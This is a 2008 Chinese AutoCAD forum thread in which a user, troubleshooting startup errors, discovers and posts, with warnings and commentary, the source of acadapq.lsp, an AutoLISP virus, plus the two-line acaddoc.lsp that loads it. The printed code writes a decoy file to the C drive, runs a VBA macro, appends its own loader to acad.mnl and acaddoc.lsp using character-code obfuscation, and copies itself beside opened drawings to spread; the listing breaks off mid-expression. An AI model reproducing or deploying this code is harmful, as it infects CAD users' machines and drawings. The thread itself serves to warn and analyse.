yxp 发表于 2008-8-22 15:03:00

[求助][讨论]最近用CAD的时候总是有些问题

<p>我用的是CAD2004迷你版。</p><p>最近新建一个文件或打开一个文件是总是提示:</p><p><strong>; 错误: 参数类型错误: stringp nil<br/>AutoCAD 菜单实用程序已加载。; 错误: 参数类型错误: stringp nil</strong></p>

caoyin 发表于 2008-8-22 15:34:00

<p>楼主的CAD是否加载什么程序?</p><p>CAD2004迷你版不加载 VLA-*,VLAX-* 函数支持</p>

yxp 发表于 2008-8-22 15:59:00

<p>哈哈,原来是那个好事者遍了一个蹩脚的病毒,我正在分析这个程序。</p><p>当心,请不要运行下面这个程序,名字 acadapq.lsp</p><p></p><p>(setq wold_cmd (getvar "cmdecho"))<br/>(setvar "cmdecho" 0)<br/>(setq wpath (findfile "base.dcl"))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;返回当前CAD的SUPPORT支持路径<br/>(setq wpath (substr wpath 1 (- (strlen wpath) 8)))&nbsp; ;;取掉路径中的 "base.dcl" 文件名,返回纯路径<br/>(setq wwmnlwpath (getvar "menuname"))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;返回当前菜单文件路径<br/>(setq wnowdwg (getvar "dwgname"))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;返回当前打开的文件名,如果是新建文件将返回 nil<br/>(setq wwjqm (findfile wnowdwg))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;返回当前文件的路径,如果是新建文件将返回 nil<br/>(setq wdwgwpath (substr wwjqm 1 (- (strlen wwjqm) (strlen wnowdwg))))&nbsp; ;;返回纯路径<br/>;;;alert&nbsp; <br/>(setq f (open "c:\\boot.dat" "w"))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;狠的来了,竟然在C盘上打开了伪装文件 boot.dat<br/>(write-line "" f)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;写入字符,难道这个病毒的作者姓"党"?<br/>(write-line (strcat "ff=" wdwgwpath) f)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;写入已打开文件的路径<br/>(write-line (strcat "yy=" wpath) f)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;;写入CAD支持路径<br/>(close f)<br/>(setq boot (findfile "boot.dat"))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>(if (/= boot "")<br/>&nbsp; (command "_-vbarun" "ThisDrawing.hh"))<br/>(setq wacadwpath (findfile "acaddoc.lsp"))<br/>(setq wacadwpath (substr wacadwpath 1 (- (strlen wacadwpath) 11)))<br/>(setq wns1 ""<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wns2 "")<br/>(setq wlspbj 0)<br/>(setq wwjqm (strcat wpath "acaddoc.lsp"))<br/>(if (setq wwjm (open wwjqm "r"))<br/>&nbsp; (progn<br/>&nbsp;&nbsp;&nbsp; (while (setq wwz (read-line wwjm))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setq wns1 wns2)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setq wns2 wwz))<br/>&nbsp;&nbsp;&nbsp; (if&nbsp;(&gt; (strlen wns1) 14)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (if (= (substr wns1 8 7) "acadapq")<br/>&nbsp;(setq wlspbj 1)))<br/>&nbsp;&nbsp;&nbsp; (close wwjm)))<br/>(setq wlspmnl 0)<br/>(setq wwjqm (strcat wpath "acad.mnl"))<br/>(if (setq wwjm (open wwjqm "r"))<br/>&nbsp; (progn (while&nbsp;(setq wwz (read-line wwjm))<br/>&nbsp;&nbsp;&nbsp; (setq wns1 wns2)<br/>&nbsp;&nbsp;&nbsp; (setq wns2 wwz))<br/>&nbsp; (if (&gt; (strlen wns1) 14)<br/>&nbsp;&nbsp;&nbsp; (if (= (substr wns1 8 7) "acadapq")<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setq wlspmnl 1)))<br/>&nbsp; (close wwjm)))<br/>(if (= wlspmnl 0)<br/>&nbsp; (progn<br/>&nbsp;&nbsp;&nbsp; (setq wwjqm&nbsp;(strcat&nbsp;wpath<br/>&nbsp;&nbsp;&nbsp;(strcat&nbsp;(chr 97)<br/>&nbsp;&nbsp;&nbsp;&nbsp;(chr 99)<br/>&nbsp;&nbsp;&nbsp;&nbsp;(chr 97)<br/>&nbsp;&nbsp;&nbsp;&nbsp;(chr 100)<br/>&nbsp;&nbsp;&nbsp;&nbsp;(chr 46)<br/>&nbsp;&nbsp;&nbsp;&nbsp;(chr 109)<br/>&nbsp;&nbsp;&nbsp;&nbsp;(chr 110)<br/>&nbsp;&nbsp;&nbsp;&nbsp;(chr 108))&nbsp;&nbsp; ;;&nbsp; "acad.mnl"<br/>&nbsp;&nbsp;&nbsp; (setq wwjm (open wwjqm "a"))<br/>&nbsp;&nbsp;&nbsp; (write-line<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (strcat "(load " (chr 34) "acadapq" (chr 34) ")")<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wwjm)<br/>&nbsp;&nbsp;&nbsp; (write-line "(princ)" wwjm)<br/>&nbsp;&nbsp;&nbsp; (close wwjm))<br/>&nbsp; )</p><p>(defun wwriteapp&nbsp; ()<br/>&nbsp; (if (setq wwjm1 (open wnewacad "w"))<br/>&nbsp;&nbsp;&nbsp; (progn (setq wwjm (open woldacad "r"))<br/>&nbsp;&nbsp;&nbsp; (while (setq wwz (read-line wwjm))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (write-line wwz wwjm1))<br/>&nbsp;&nbsp;&nbsp; (close wwjm)<br/>&nbsp;&nbsp;&nbsp; (close wwjm1)<br/>&nbsp;&nbsp;&nbsp; )<br/>&nbsp;&nbsp;&nbsp; )<br/>&nbsp; )<br/>(if (and (= wacadwpath wdwgwpath)<br/>&nbsp; (/= wacadwpath wpath))<br/>&nbsp; (progn (if (= 0 wlspmnl)<br/>&nbsp;&nbsp;&nbsp; (progn<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setq woldacad (findfile "acaddoc.lsp"))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setq wnewacad (strcat wpath "acadapq.lsp")<br/>&nbsp;&nbsp;&nbsp;&nbsp; )<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<br/>&nbsp;&nbsp;&nbsp; (progn<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setq woldacad (strcat wpath "acadapq.lsp"))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setq wnewacad (findfile "acaddoc.lsp"))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<br/>&nbsp;&nbsp;&nbsp; )<br/>&nbsp; (if (= wlspbj 0)<br/>&nbsp;&nbsp;&nbsp; (progn<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setq wwjqm (strcat wpath "acaddoc.lsp"))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setq wwjm (open wwjqm "a"))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (write-line<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (strcat "(load " (chr 34) "acadapq" (chr 34) ")")<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wwjm)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (write-line "(princ)" wwjm)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (close wwjm))<br/>&nbsp;&nbsp;&nbsp; )<br/>&nbsp; (wwriteapp)<br/>&nbsp; )<br/>&nbsp; (progn<br/>&nbsp;&nbsp;&nbsp; (if&nbsp;(/= wnowdwg "Drawing.dwg")<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (progn<br/>&nbsp;(setq woldacad (findfile "acadapq.lsp"))<br/>&nbsp;(setq wnewacad (strcat wdwgwpath "acaddoc.lsp"))<br/>&nbsp;(wwriteapp)<br/>&nbsp;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<br/>&nbsp;&nbsp;&nbsp; )<br/>&nbsp; )<br/>(setvar "cmdecho" wold_cmd)<br/>(princ)<br/>(setq strtopstr<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (strcat (chr 92)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 92)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 70)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 83)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 49)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 92)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 83)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 89)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 83)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 49)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 92)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 87)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 79)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 82)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 75)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 92)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 80)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 76)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 79)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 84)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 69)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (chr 82))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )&nbsp; ;;"<a>\\\\FS1\\SYS1\\WORK\\PLOTER</a>"</p><p>(setq strbottomstr (strcat (chr </p>

yxp 发表于 2008-8-22 16:01:00

<p>还有一个文件 acaddoc.lsp,内容只有两句。</p><p>(load "acadapq")<br/>(princ)</p>
页: [1]
查看完整版本: [求助][讨论]最近用CAD的时候总是有些问题